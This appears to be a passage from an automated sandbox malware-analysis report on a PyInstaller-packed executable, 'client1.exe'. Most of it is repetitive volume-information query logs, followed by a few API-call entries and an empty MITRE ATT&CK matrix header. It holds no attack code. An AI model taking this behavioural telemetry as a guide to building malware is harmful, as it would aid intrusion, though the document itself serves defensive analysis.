Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\_bz2.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\_lzma.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\_socket.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\_brotli.cp311-win_amd64.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\_hashlib.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\charset_normalizer VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\charset_normalizer VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\charset_normalizer VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\charset_normalizer\md.cp311-win_amd64.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\charset_normalizer VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\charset_normalizer\md__mypyc.cp311-win_amd64.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\unicodedata.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\_decimal.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\simplejson VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\simplejson VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\simplejson VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\simplejson\_speedups.cp311-win_amd64.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\Desktop\client1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\images\new214_173.254.250.69.png VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\client1.exe

Code function: 0_2_00007FF79F62B580 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF79F62B580

Source: C:\Users\user\Desktop\client1.exe

Code function: 0_2_00007FF79F644E20 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

0_2_00007FF79F644E20

Source: C:\Users\user\Desktop\client1.exe

Code function: 2_2_00007FFBAAE82B5D bind,WSAGetLastError,

2_2_00007FFBAAE82B5D

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
